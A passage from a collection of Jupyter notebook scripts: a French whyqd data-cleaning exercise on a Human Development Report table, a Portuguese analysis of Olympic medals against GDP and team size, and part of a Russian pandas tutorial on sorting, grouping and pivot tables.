sinon vous obtiendrez une erreur\nschema.save(directory, filename=filename, overwrite=True)\n\n# +\n### Les importations et paramètres suivants vous permettent d'obtenir un large éventail de résultats pour vos tableaux\nfrom IPython.core.display import HTML\ndisplay(HTML(\"\"))\n\nimport numpy as np\nimport whyqd as _w\n\nSCHEMA_SOURCE = \"Myschema.json\" #\"Myschema.json\" est le nom de mon schema créé ci haut d'adapte le au tien\nDIRECTORY = os.getcwd()\nINPUT_DATA = [\n \"HDR 2007-2008 Table 02.xlsx\" #\"HDR 2007-2008 Table 02.xlsx\" c'est le nom de mon fichier inital de la leçon 1 1\n]\nmethod = _w.Method(SCHEMA_SOURCE, directory=DIRECTORY, input_data=INPUT_DATA)\n# -\n\nprint(method.print_input_data())\n\nmethod.status\n\n# Utilisez _id, ou une autre variable, puisque `id` est un terme protégé par Python\n_id = method.input_data[0][\"id\"]\ndf = method.input_dataframe(_id)\n\n\ndf.head(15)\n\n#supresion des 11 premières lignes a adapter à ton fichier\nmethod.add_input_data_morph(_id, [\"REBASE\", 11])\n\n# suppression des lignes a partir de la ligne 197 \nrows = [int(i) for i in np.arange(197, df.index[-1]+1)]\nmethod.add_input_data_morph(_id, [\"DELETE\", rows])\n\ndf.tail()\n\nrows\n\ndf = method.input_dataframe(_id)\ndf.tail(50)\n\n# # columns contient les noms que vous voulez donner a vos colonnes \n\ncolumns=['HDI rank',\n 'Country',\n '1975',\n '1980',\n '1985',\n '1990',\n '1995',\n '2000',\n '2005']\n\n#renommer les colonnes \nmethod.add_input_data_morph(_id, [\"RENAME\", columns])\n\ndf = method.input_dataframe(_id)\ndf.head()\n\n# Obtenir les indices des lignes de données catégorielles\nhdi_categories = [\"HIGH HUMAN DEVELOPMENT\", \"MEDIUM HUMAN DEVELOPMENT\", \"LOW HUMAN DEVELOPMENT\"]\nrows = df[df[\"HDI rank\"].isin(hdi_categories)].index\n\n# categoriser en fonction de HDI categorie\nmethod.add_input_data_morph(_id, [\"CATEGORISE\", list(rows), \"HDI category\"])\n\ndf = method.input_dataframe(_id)\ndf.head(20)\n\n# # columns1 les differents colonnes qu'on veut fusionner ( ce sont les colonnes contenant les indicateurs )\n\ncolumns1=['HDI rank',\n '1975',\n '1980',\n '1985',\n '1990',\n '1995',\n '2000',\n '2005']\n\n# la commande pour fusionner \nmethod.add_input_data_morph(_id, [\"MELT\", columns1, [\"Indicator Name\", \"Indicator Value\"]])\n\ndf = method.input_dataframe(_id)\ndf.head(10)\n\n# supprimer les lignes vides \nmethod.add_input_data_morph(_id, [\"DEBLANK\"])\n\n# %time method.merge(overwrite_working=True) #génère un fichier avec en sortir le traitement appliqué \n\nstructure = {\n \"country_name\": [\"RENAME\", \"Country\"],\n \"hdi_category\": [\"RENAME\", \"HDI category\"],\n \"indicator_name\": [\"RENAME\", \"Indicator Name\"],\n \"values\": [\"RENAME\", \"Indicator Value\"],\n}\n# Notez le \"**\" au début du nom du paramètre\n# Ceci \"dépaquette\" le dictionnaire de sorte que tous les termes soient visibles pour la fonction\nmethod.set_structure(**structure)\n\nmethod.transform(overwrite_output=True)\nFILENAME = \"hdi_report_exercise\"\nmethod.save(directory, filename=FILENAME, overwrite=True)\n\nmethod.input_data_morphs(_id)\n\n# %time method.validates\n\n# +\nimport pandas as pd\nimport numpy as np\n\nsource = \"output_fc6f5288-cd29-4296-8011-d619bb5189ae.csv\"\n\ndf = pd.read_csv(source)\ndf.head()\n\n# +\nfrom pandas_schema import Column, Schema\nfrom pandas_schema.validation import LeadingWhitespaceValidation, TrailingWhitespaceValidation, IsDtypeValidation, InListValidation\n\n# Nous ne testerons que ces colonnes\ncolumns = [\"country_name\", \"hdi_category\", \"values\"]\n# Et ces catégories\nhdi_categories = [\"HIGH HUMAN DEVELOPMENT\", \"MEDIUM HUMAN DEVELOPMENT\", \"LOW HUMAN DEVELOPMENT\"]\n# -\n\nschema = Schema([\n Column(\"country_name\", [LeadingWhitespaceValidation(), TrailingWhitespaceValidation()]),\n Column(\"hdi_category\", [InListValidation(hdi_categories)]),\n Column(\"values\", [IsDtypeValidation(np.dtype(float)), IsDtypeValidation(np.dtype(int))])\n])\n\n\n# +\nerrors = schema.validate(df[columns])\n\nprint(F\"Nombre d'erreurs : {len(errors)}\")\n# Juste les 10 premiers\nfor error in errors[:10]:\n print(error)\n# -\n\n\n\nmethod.reset_input_data_morph(_id)\n","repo_name":"MEITE18/SBC4D","sub_path":"Myscript_2_2_2.ipynb","file_name":"Myscript_2_2_2.ipynb","file_ext":"py","file_size_in_byte":6073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"73622414748","text":"# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"N4tbh9y3F_ZC\" outputId=\"ec47502e-4fb1-400a-cc91-d6990f833890\"\nimport numpy as np \nimport pandas as pd\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\nsns.set()\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error as mse\nimport statsmodels.formula.api as smf\n\nfrom google.colab import drive\ndrive.mount('/content/drive')\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# + id=\"tCjJI67DGQqf\"\ndf = pd.read_excel('/content/drive/My Drive/Colab Notebooks/files/olympic_fato.xlsx')\nnoc = pd.read_csv('/content/drive/My Drive/Colab Notebooks/files/noc_regions.csv')\npib_df = pd.read_excel('/content/drive/My Drive/Colab Notebooks/files/country_gdp.xlsx')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"nyZ4v97KHLrd\" outputId=\"b303c952-ef1a-4553-90a9-9143f7ac9c40\"\ndf.info()\nnoc.info()\n\n# + id=\"yPb7Zd22JbKF\"\nnoc_renamed = noc.rename(\n columns={\"NOC\": \"country_noc\"}\n)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"7EbH-zhYKwyB\" outputId=\"5954f8b1-d922-4cf1-87c8-3019f35bd68b\"\ndata = pd.merge(df,noc_renamed,how='left',on='country_noc')\ndata.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"Sa_12NVUzbzM\" outputId=\"c9c9ee33-a5eb-453b-82f3-2c4726dae3ad\"\nsummer = data.loc[data['edition'].str.contains('Summer', na=False)]\n\nsummer.rename(columns = {'region':'Country'}, inplace = True)\n\nmedals = summer.loc[summer['medal']!='na']\n\nmedals['Medal_Won'] = 1\nmedals['Team_Event'] = np.where(medals['isTeamSport'] == True,1,0)\nmedals['Individual_Event'] = np.where(medals.Team_Event,0,1)\n\nmedals.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"u6Fo-Ex-5snV\" outputId=\"18895933-8911-4d1f-877b-f696437555a1\"\nmedals_tally = medals.groupby(['year', 'country_noc', 'Country','sport','event', 'medal'])[['Medal_Won', 'Team_Event','Individual_Event']].agg('sum').reset_index()\n\nmedals_tally['Medal_Count'] = medals_tally['Medal_Won']/(medals_tally['Team_Event']+medals_tally['Individual_Event'])\n\nmedals_tally['Sex'] = 'M'\n\nmedals_tally.loc[medals_tally['event'].str.contains('Women'),'Sex']='F'\n\nmedals_tally = medals_tally.loc[medals_tally['year'] >= 1972]\n\nmedals_tally.sort_values(['year'],ascending = [True],inplace=True)\n\nmedals_tally = medals_tally[(medals_tally['Country'] != 'Taiwan')]\nmedals_by_country = medals_tally.loc[medals_tally['year']>=1972].groupby(['year','country_noc','Country'])['Medal_Count'].sum().reset_index()\n\nmedals_by_country.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"VdvmTP0cSANM\" outputId=\"22912113-677d-4b74-f191-6d4e8302cc64\"\npib = pib_df[['country','1972', '1976', '1980', '1984','1988', '1992', '1996', '2000', '2004','2008','2012', '2016', '2020']]\npib.rename(columns={'country':'Country'},inplace=True)\n\npib = pd.melt(pib, \n id_vars='Country', \n value_vars=list(pib.columns[1:]), \n var_name='Year', \n value_name='PIB')\n\npib['Year'] = pib['Year'].str.replace(',', '').astype(float).astype(int)\n\npib.sort_values(['Country','Year'],ascending = [True,True],inplace=True)\n\npib.rename(columns={'Year':'year'},inplace=True)\n\npib.head()\n\n# + id=\"UziVBawlqQlt\"\nto_replace = ['Bahamas, The','Egypt, Arab Rep.','Iran, Islamic Rep.',\"Cote d'Ivoire\",'Kyrgyz Republic','North Macedonia',\n 'Korea, Dem. People’s Rep.','Russian Federation','Slovak Republic','Korea, Rep.','Syrian Arab Republic',\n 'Trinidad and Tobago','United Kingdom','United States','Venezuela, RB','Virgin Islands (U.S.)', 'Bolivia', \n 'Antigua and Barbuda', 'Brunei Darussalam', 'Cabo Verde', 'British Virgin Islands', 'Czechia', 'Congo, Dem. Rep.', 'Lao PDR',\n 'Gambia, The', 'World', 'Micronesia, Fed. Sts.', \"Korea, Dem. People's Rep.\", 'Congo, Rep.', 'St. Kitts and Nevis','St. Lucia',\n 'St. Vincent and the Grenadines', 'Turkiye']\n \n\nnew_countries = ['Bahamas','Egypt', 'Iran', 'Ivory Coast','Kyrgyzstan','Macedonia','North Korea','Russia','Slovakia',\n 'South Korea','Syria','Trinidad','UK','USA','Venezuela','Virgin Islands, US', 'Boliva', \n 'Antigua', 'Brunei', 'Cape Verde', 'Virgin Islands, British', 'Czech Republic', 'Democratic Republic of the Congo', 'Laos',\n 'Gambia', 'Individual Olympic Athletes', 'Micronesia','North Korea', 'Republic of Congo', 'Saint Kitts','Saint Lucia',\n 'Saint Vincent', 'Turkey']\n\npib.replace(to_replace,new_countries,inplace=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"jbzlCX3UDSlQ\" outputId=\"83b3077d-03d9-4631-aee4-a32e0c7a8c6b\"\nmedals_tally_pib = medals_by_country.merge(pib,\n left_on = ['year', 'Country'],\n right_on = ['year', 'Country'],\n how = 'left')\nmedals_tally_pib.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"vlWd7cm1DSig\" outputId=\"63cf77ba-125b-4cde-c4a1-4f4dd4704846\"\nteam_size = summer.loc[summer.year >= 1972].drop_duplicates().groupby(['year', 'Country']).athlete_id.count().reset_index(name='Team_Size')\ntrain = medals_tally_pib.merge(team_size,left_on=['year','Country'],right_on=['year','Country'],how='left')\ntrain['Log_PIB'] = train['PIB'].apply(np.log)\ntrain.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 459} id=\"IuXca9vFlUqU\" outputId=\"445c7c97-f32d-4b97-ff28-72b9ef4f5e58\"\ncorrelation = train.corr()\nplot = sns.heatmap(correlation, annot = True, fmt=\".1f\", linewidths=.6)\nplot\n\n# + id=\"UVyMA2b8DSc0\"\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 498} id=\"qrSlaYIZuaoR\" outputId=\"c5189603-69b2-41da-f611-2065f8a80d03\"\ncorr_pib = train.loc[train['Medal_Count']>10.0,['PIB', 'Medal_Count']].corr()['Medal_Count'][0]\n\nplt.plot(train.loc[train['Medal_Count']>10.0, 'PIB'], \n train.loc[train['Medal_Count']>10.0, 'Medal_Count'] , \n linestyle = 'none', \n marker = 'o',\n color = 'teal',\n alpha = 0.6)\nplt.xlabel('PIB')\nplt.ylabel('Number of Medals')\nplt.title('PIB versus medal tally')\nplt.text(22.7, \n 150,\n \"Correlação = \" + str(corr_pib))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 498} id=\"EGwNVpVab0oN\" outputId=\"3a2850fd-12b1-4fe6-cc88-f81f283aee46\"\ncorr_pib_log = train.loc[train['Medal_Count']>10.0,['Log_PIB', 'Medal_Count']].corr()['Medal_Count'][0]\n\nplt.plot(train.loc[train['Medal_Count']>10.0, 'Log_PIB'], \n train.loc[train['Medal_Count']>10.0, 'Medal_Count'] , \n linestyle = 'none', \n marker = 'o',\n color = 'navy',\n alpha = 0.6)\nplt.xlabel('Log(PIB)')\nplt.ylabel('Number of Medals')\nplt.title('Log(PIB) versus medal tally')\nplt.text(22.7, \n 150,\n \"Correlação = \" + str(corr_pib_log))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 498} id=\"_D9eg1R_b_TW\" outputId=\"3fbc8ff8-4013-40a7-c5f3-4e7623696d8d\"\ncorr_team = train.loc[train['Medal_Count']>10.0,['Team_Size', 'Medal_Count']].corr()['Medal_Count'][0]\n\nplt.plot(train.loc[train['Medal_Count']>10.0, 'Team_Size'], \n train.loc[train['Medal_Count']>10.0, 'Medal_Count'] , \n linestyle = 'none', \n marker = 'o',\n color='r',\n alpha = 0.8)\nplt.xlabel('Team Size')\nplt.ylabel('Number of Medals')\nplt.title('Team Size versus medal tally')\nplt.text(50,150,\n \"Correlação = \" + str(corr_team))\n\n# + id=\"7Tugf6YsfhnL\"\n\n\n# + id=\"XmVr1VVafhb-\"\n\n\n# + id=\"yaDl8TROcsZT\"\n\n\n# + id=\"mY7yoCgRcwHD\"\n#train models on data upto 2016\nX_tr = train.loc[train.year != 2020].dropna()[['Team_Size']]\ny_tr = train.loc[train.year != 2020].dropna()['Medal_Count']\n#predict on 2020\nX_tst = train.loc[train.year == 2020].dropna()[['Team_Size']]\ny_tst = train.loc[train.year == 2020].dropna()['Medal_Count']\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"HeIRKdYNdLSq\" outputId=\"ddc7c6fe-cb50-43c8-9cbe-52fa5642c2c7\"\nlr = LinearRegression()\nlr.fit(X_tr,y_tr)\ny_pred = lr.predict(X_tst)\n\nlr_score = lr.score(X_tst,y_tst) #this gives the R^2 score\nlr_err = np.sqrt(mse(y_tst,y_pred)) #this gives the rms error\n\nprint('Linear Regression R^2: {}, Linear Regression RMSE: {}'.format(lr_score,lr_err))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"6CZuOG8MgPSf\" outputId=\"ab48ca16-b083-473b-ee72-39875c83e793\"\nOLS = smf.ols('Medal_Count ~ Team_Size ', data=train.loc[train.year!=2020]).fit()\n\ny_ols = OLS.predict(X_tst)\nols_score = OLS.rsquared #R^2\nols_err = np.sqrt(mse(y_tst, y_ols)) #rms error\nprint('Statsmodels OLS R^2: {}, Statsmodels OLS RMSE: {}'.format(ols_score,ols_err))\n\n# + id=\"MfD22x1QgppZ\"\nX = train['Team_Size'].values\nY = train['Medal_Count'].values\n\nZ = train['Log_PIB'].values\n\nW = train['PIB'].values\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 498} id=\"TzMCp7zRgrGa\" outputId=\"ea10c11a-c619-4999-b97c-5972101d71b3\"\nplt.scatter(X, Y, color=\"goldenrod\", s=15)\nplt.plot(X_tst, y_pred, color=\"slategray\")\nplt.xlabel('Team_Size')\nplt.ylabel('Number of Medals')\nplt.title('Team Size versus medal tally')\nplt.text(20,150,\"r² = \" + str(round(lr_score, 3)), color=\"black\")\n","repo_name":"wolneybarreto/Olympics_TCC_Analysis","sub_path":"TCC_Wolney_Olympic_Games_.ipynb","file_name":"TCC_Wolney_Olympic_Games_.ipynb","file_ext":"py","file_size_in_byte":9145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"40530644492","text":"# #### PYTHON-12. Продвинутые методы работы с данными в Pandas\n\nimport pandas as pd\n\nmelb_df = pd.read_csv('data/melb_data_fe.csv')\nmelb_df.head()\n\n# csv-файл не хранит в себе информацию о типах данных столбцов, поэтому при чтении Pandas автоматически определяет тип данных столбца\ndisplay(melb_df.info())\n\n# Преобразуйте столбец Date в формат datetime и выделите квартал (quarter) продажи объектов недвижимости. \n# Найдите второй по популярности квартал продажи. В качестве ответа запишите число объектов, проданных в этом квартале.\n#print(melb_df['Date'])\nmelb_df['Date'] = pd.to_datetime(melb_df['Date'], dayfirst=False)\n#print(melb_df['Date'])\nmelb_df['Date'] = melb_df['Date'].dt.quarter\nprint(melb_df['Date'])\nprint(melb_df['Date'].value_counts())\n\n\n# +\n# Преобразуйте все столбцы, в которых меньше 150 уникальных значений, в тип данных category, исключив из преобразования столбцы Date, Rooms, Bedroom, Bathroom, Car.\n# В качестве ответа запишите результирующее количество столбцов, которые имеют тип данных category.\n\n\ncols_to_exclude = ['Date', 'Rooms', 'Bedroom', 'Bathroom', 'Car'] # список столбцов, которые мы не берём во внимание\nmax_unique_count = 150 # задаём максимальное число уникальных категорий\nfor col in melb_df.columns: # цикл по именам столбцов\n if melb_df[col].nunique() < max_unique_count and col not in cols_to_exclude: # проверяем условие\n melb_df[col] = melb_df[col].astype('category') # преобразуем тип столбца\ndisplay(melb_df.info())\n# -\n\n# ##### Сортировка данных в DataFrame\n\nimport pandas as pd\nmelb_df = pd.read_csv('data/melb_data_fe.csv')\n# Отсортируем таблицу по возрастанию цены объектов недвижимости (Price):\nmelb_df.sort_values(by='Price').head(10)\n\n# А теперь отсортируем таблицу по убыванию (от самой последней до самой первой) даты продажи объекта (Date). Для этого выставим параметр ascending на False:\nmelb_df.sort_values(by='Date', ascending=False)\n\n# отсортируем таблицу сначала по возрастанию расстояния от центра города (Distance), а затем — по возрастанию цены объекта (Price). \n# Для того чтобы вывод был более наглядным, выделим каждую десятую строку из столбцов Distance и Price результирующей таблицы:\nmelb_df.sort_values(by=['Distance', 'Price']).loc[::10, ['Distance', 'Price']]\n\n# Предположим, компания McGrath поручила нам восстановить хронологию продаж таунхаусов, у которых площадь участка существенно больше площади здания, \n# чтобы понять, как часто компания справляется с таким сложным видом объектов. \n# Объекты, проданные в один и тот же день, мы бы хотели сортировать по значению коэффициента соотношения площадей.\n# Найдём информацию о таунхаусах (Type), проданных компанией (SellerG) McGrath, у которых коэффициент соотношения площадей здания и участка (AreaRatio) меньше -0.8. \n# Результат отсортируем по дате продажи (Date) в порядке возрастания, а после проведём сортировку по убыванию коэффициента соотношения площадей. \n# Также обновим старые индексы на новые, установив параметр ignore_index н�� True. \n# Для наглядности результата выберем из таблицы только столбцы Data и AreaRatio:\nmask1 = melb_df['AreaRatio'] < -0.8\nmask2 = melb_df['Type'] == 'townhouse'\nmask3 = melb_df['SellerG'] == 'McGrath'\nmelb_df[mask1 & mask2 & mask3].sort_values(\n by=['Date', 'AreaRatio'],\n ascending=[True, False],\n ignore_index=True\n).loc[:, ['Date', 'AreaRatio']]\n\n\n# Произведите сортировку столбца AreaRatio по убыванию. При этом индексы полученной таблицы замените на новые. \n# Какое значение площади здания находится в строке 1558? Ответ округлите до целого числа.\n# melb_df['AreaRatio'].sort_values('AreaRatio', ascending=False, ignore_index=True).loc[1558]\nmelb_df.sort_values('AreaRatio', ascending=False, ignore_index=True)\ndisplay(melb_df['BuildingArea'].loc[1558]) \n\n\n# +\n# Найдите таунхаусы (Type) с количеством жилых комнат (Rooms) больше 2. \n# Отсортируйте полученную таблицу сначала по возрастанию числа комнат, а затем по убыванию средней площади комнат (MeanRoomsSquare). \n# Индексы таблицы замените на новые. Какая цена будет у объекта в строке 18? Ответ запишите в виде целого числа\nmask1 = melb_df['Type'] == 'townhouse'\nmask2 = melb_df['Rooms'] > 2\nmelb_df[mask1 & mask2].sort_values(\n by=['Rooms', 'MeanRoomsSquare'],\n ascending=[True, False],\n ignore_index=True\n).loc[18, 'Price']\n\n\n\n\n# -\n\n# #### Группировка данных в DataFrame\n\nimport pandas as pd\n# Применим агрегирующую функцию среднего к результату работы groupby(). \n# В качестве столбца для группировки возьмём столбец типа объекта недвижимости (Type):\nmelb_df.groupby(by='Type').mean()\n\n# Агрегирующие методы можно применять только к интересующему нас столбцу. \n# Например, давайте сравним средние цены на объекты в зависимости от их типа:\nmelb_df.groupby('Type')['Price'].mean()\n\n# Теперь давайте выясним, какие регионы (Regionname) наиболее удалены от центра Мельбурна.\n# Для этого найдём минимальное значение расстояния от центра города до объекта в зависимости от его региона. \n# Результат отсортируем по убыванию расстояния:\nmelb_df.groupby('Regionname')['Distance'].min().sort_values(ascending=False)\n\n# ##### ГРУППИРОВКА ДАННЫХ ПО ОДНОМУ КРИТЕРИЮ С НЕСКОЛЬКИМИ АГРЕГАЦИЯМИ\n\n# Давайте построим таблицу для анализа продаж по месяцам. \n# Для этого найдём количество продаж, а также среднее и максимальное значения цен объектов недвижимости (Price), \n# сгруппированных по номеру месяца продажи (MonthSale). \n# Результат отсортируем по количеству продаж в порядке убывания:\nmelb_df.groupby('MonthSale')['Price'].agg(\n ['count', 'mean', 'max']\n).sort_values(by='count', ascending=False)\n\n# Если вам нужна полная информация обо всех основных статистических характеристиках внутри каждой группы, вы можете воспользоваться методом agg(), \n# передав в качестве его параметра строку 'describe':\nmelb_df.groupby('MonthSale')['Price'].agg('describe')\n\n# Передадим дополнительно встроенную функцию set, чтобы получить множество из агентств недвижимости, которые работают в каждом из регионов:\nmelb_df.groupby('Regionname')['SellerG'].agg(\n \t\t['nunique', set]\n)\n\n# Сгруппируйте данные по признаку количества комнат и найдите среднюю цену объектов недвижимости в каждой группе. \n# В качестве ответа запишите количество комнат, для которых средняя цена наибольшая.\nmelb_df.groupby('Rooms')['Price'].agg(\n ['mean', 'max']\n).sort_values(by='mean', ascending=False)\n\n# Какой регион имеет наименьшую протяжённость п�� географической широте (Lattitude)?\n# Для ответа на этот вопрос рассчитайте стандартное отклонение широты для каждого региона.\n# В качестве ответа запишите название этого региона.\nmelb_df.groupby('Regionname')['Lattitude'].std().sort_values(ascending=False)\n\n\n# Какая риелторская компания (SellerG) имеет наименьшую общую выручку за период с 1 мая по 1 сентября (включительно) 2017 года?\n# Для ответа на этот вопрос рассчитайте сумму продаж (Price) каждой компании в заданный период.\n# Не забудьте перевести даты в формат datetime.\nmask1 = pd.to_datetime(melb_df['Date'], dayfirst=False) > '2017-05-01'\nmask2 = pd.to_datetime(melb_df['Date'], dayfirst=False) <= '2017-09-01'\nmelb_df[mask1 & mask2].groupby('SellerG')['Price'].sum().sort_values(ascending=False)\n\n\n# #### Сводные таблицы\n\nimport pandas as pd\nmelb_data = pd.read_csv('data/melb_data_fe.csv')\nmelb_df = melb_data.copy()\nmelb_df.head()\n\n# мы уже умеем строить таблицу, которая показывает зависимость медианной цены и площади здания от числа комнат:\nmelb_df.groupby('Rooms')[['Price', 'BuildingArea']].median()\n\n# Также можно построить таблицу, в которой мы будем учитывать не только число комнат, но и тип здания (Type). \n# Для этого в параметрах метода groupby() укажем список из нескольких интересующих нас столбцов.\nmelb_df.groupby(['Rooms', 'Type'])['Price'].mean()\n# В результате выполнения такого кода мы получаем Series, которая обладает несколькими уровнями индексов: первый уровень — число комнат, второй уровень — тип здания. \n# Такая организация индексов называется иерархической. Вычисление параметра (средней цены) происходит во всех возможных комбинациях признаков\n\n# Для того, чтобы финальный результат был представлен в виде сводной таблицы (первый группировочный признак по строкам, а второй — по столбцам), а не в виде Series с иерархическими индексами, \n# к результату чаще всего применяют метод unstack(), который позволяет переопределить вложенный индекс в виде столбцов таблицы:\nmelb_df.groupby(['Rooms', 'Type'])['Price'].mean().unstack()\n\n# ##### МЕТОД PIVOT_TABLE ДЛЯ ПОСТРОЕНИЯ СВОДНЫХ ТАБЛИЦ\n\n# Давайте построим ту же самую таблицу, но уже с использованием метода pivot_table. \n# В качестве параметра values укажем столбец Price, в качестве индексов сводной таблицы возьмём Rooms, а в качестве столбцов — Type. \n# Агрегирующую функцию оставим по умолчанию (среднее). \n# Дополнительно заменим пропуски в таблице на значение 0. Финальный результат для наглядности вывода округлим с помощью метода round() до целых.\nmelb_df.pivot_table(\n values='Price',\n index='Rooms',\n columns='Type',\n fill_value=0\n).round()\n\n# А теперь давайте проанализируем продажи в каждом из регионов в зависимости от того, будний был день или выходной. \n# Для этого построим сводную таблицу, в которой строками будут являться названия регионов (Regionname), \n# а в столбцах будет располагаться наш «признак-мигалка» выходного дня (Weekend), который равен 1, если день был выходным, и 0 — в противном случае. \n# В качестве значений сводной таблицы возьмём количество продаж.\nmelb_df.pivot_table(\n values='Price',\n index='Regionname',\n columns='Weekend',\n aggfunc='count',\n)\n\n# Найдём, как зависит средняя и медианная площадь участка (Landsize) от типа объект�� (Type) и его региона (Regionname). \n# Чтобы посмотреть несколько статистических параметров, нужно передать в аргумент aggfunc список из агрегирующих функций. \n# Построим такую сводную таблицу, где пропущенные значения заменим на 0:\nmelb_df.pivot_table(\n values='Landsize',\n index='Regionname',\n columns='Type',\n aggfunc=['median', 'mean'],\n fill_value=0\n)\n\n# ##### МНОГОМЕРНЫЕ СВОДНЫЕ ТАБЛИЦЫ\n\n# Давайте построим таблицу, в которой по индексам будут располагаться признаки метода продажи (Method) и типа объекта (Type), по столбцам — \n# наименование региона (Regionname), а на пересечении строк и столбцов будет стоять медианная цена объекта (Price):\nmelb_df.pivot_table(\n values='Price',\n index=['Method','Type'],\n columns='Regionname',\n aggfunc='median',\n fill_value=0\n)\n\n# +\n# Такие таблицы уже сложнее читать, однако с помощью них можно более глубоко исследовать закономерности. \n# Например, можно видеть, что вне зависимости от метода продажи и региона цена на объекты типа house практически всегда выше, чем на объекты другого типа.\n# -\n\n# Давайте рассмотрим, что собой представляют столбцы сложной сводной таблицы.\n# Запишем сводную таблицу, которую мы создавали ранее в переменную pivot:\npivot = melb_df.pivot_table(\n values='Landsize',\n index='Regionname',\n columns='Type',\n aggfunc=['median', 'mean'],\n fill_value=0\n)\n# Выведем её столбцы с помощью атрибута columns:\npivot.columns\n\n# +\n# В результате мы получаем объект MultiIndex. \n# Этот объект хранит в себе шесть комбинаций пар столбцов (два статистических параметра и три типа здания), то есть есть шесть возможных вариантов обращения к столбцам таблицы.\n# Мультииндексы раскрываются подобно вложенным словарям — по очереди, как матрёшка. Чтобы получить доступ к определённому столбцу, \n# вы должны сначала обратиться к столбцу, который находится уровнем выше.\n# -\n\n# Так, из таблицы pivot мы можем получить средние значения площадей участков для типа здания unit, просто последовательно обратившись по имени столбцов:\ndisplay(pivot['mean']['unit'])\n\n# Аналогично производится и фильтрация данных. \n# Например, если нам нужны регионы, в которых средняя площадь здания для домов типа house меньше их медианной площади, то мы можем найти их следующим образом:\nmask = pivot['mean']['house'] < pivot['median']['house']\nfiltered_pivot = pivot[mask]\ndisplay(filtered_pivot)\n\n# Чтобы получить индексы отфильтрованной таблицы, можно воспользоваться атрибутом index и обернуть результат в список:\nprint(list(filtered_pivot.index))\n\n# +\n# Составьте сводную таблицу, которая показывает зависимость медианной площади (BuildingArea) здания от типа объекта недвижимости (Type) и количества жилых комнат в доме (Rooms). \n# Для какой комбинации признаков площадь здания наибольшая?\n# В качестве ответа запишите эту комбинацию (тип здания, число комнат) через запятую, без пробелов.\nmelb_df.pivot_table(\n values='BuildingArea',\n index='Type',\n columns='Rooms',\n aggfunc='median',\n)\n\n\n\n# +\n# Составьте сводную таблицу, которая показывает зависимость средней цены объекта недвижимости (Price) от риелторского агентства (SellerG) и типа здания (Type).\n# Во вновь созданной таблице найдите агентство, у которого средняя цена для зданий типа unit максимальна. \n# В качестве ответа запишите название этого агентства.\nmelb_df.pivot_table(\n values='Price',\n index='SellerG',\n columns='Type',\n aggfunc='mean',\n).sort_values(by=['unit'])\n\n\n# -\n\n# ### Объединение DataFrame\n\nimport pandas as pd\ndates_df = pd.read_csv('data/dates.csv')\nmovies_df = pd.read_csv('data/movies.csv')\nrat1_df = pd.read_csv('data/ratings1.csv')\nrat2_df = pd.read_csv('data/ratings2.csv')\nmovies_df.head()\ndates_df.head()\nrat1_df.head()\n\n# Сколько уникальных фильмов представлено в таблице movies?\nprint(movies_df['movieId'].nunique())\n\n# Сколько уникальных пользователей в таблице ratings1?\n#print(rat1_df['userId'].unique())\nrat1_df['userId'].value_counts()\n\n\n# В каком году было выставлено больше всего оценок?\n# Для ответа на этот вопрос используйте таблицу dates.\ndates_df['year']= pd.to_datetime(dates_df['date'], dayfirst=False).dt.year\ndates_df['year'].value_counts()\n\n# ##### Объединение DataFrame: concat\n\n# Dоспользуемся встроенной функцией Pandas concat(), которая позволяет склеивать (конкатенировать) таблицы как по строкам, так и по столбцам/\n# Итак, давайте склеим ratings1 и ratings2 по строкам, так как они имеют одинаковую структуру столбцов. Для этого передадим их списком в функцию concat(). \n# Помним, что параметр axis по умолчанию равен 0, объединение происходит по строкам, поэтому не трогаем его.\nratings = pd.concat([rat1_df, rat2_df])\ndisplay(ratings)\n\n\n# +\n# Нумерация индексов не совпадает с количеством строк. \n# Это связано с тем, что по умолчанию concat сохраняет первоначальные индексы объединяемых таблиц, а обе наши таблицы индексировались, начиная от 0. \n# Чтобы создать новые индексы, нужно выставить параметр ignore_index на True:\n\nratings = pd.concat(\n [rat1_df, rat2_df],\n ignore_index=True\n)\ndisplay(ratings)\n# -\n\n# Давайте узнаем количество строк в таблицах ratings и dates, ведь нам предстоит вертикально склеить их между собой:\nprint('Число строк в таблице ratings: ', ratings.shape[0])\nprint('Число строк в таблице dates: ', dates_df.shape[0])\nprint(ratings.shape[0] == dates_df.shape[0])\n\n# Размерность таблиц разная — как такое могло произойти?\n# На самом деле очень просто: при выгрузке данных информация об оценках какого-то пользователя попала в обе таблицы (ratings1 и ratings2). \n# В результате конкатенации случилось дублирование строк. В данном примере их легко найти — выведем последнюю строку таблицы ratings1 и первую строку таблицы ratings2:\ndisplay(rat1_df.tail(1))\ndisplay(rat2_df.head(1))\n\n# Чтобы очистить таблицу от дублей, мы можем воспользоваться методом DataFrame drop_duplicates(), который удаляет повторяющиеся строки в таблице. \n# Не забываем обновить индексы после удаления дублей, выставив параметр ignore_index в методе drop_duplicates() на значение True:\nratings = ratings.drop_duplicates(ignore_index=True)\nprint('Число строк в таблице ratings: ', ratings.shape[0])\n\n# Наконец, мы можем добавить к нашей таблице с оценками даты их выставления. Для этого конкатенируем таблицы ratings и dates по 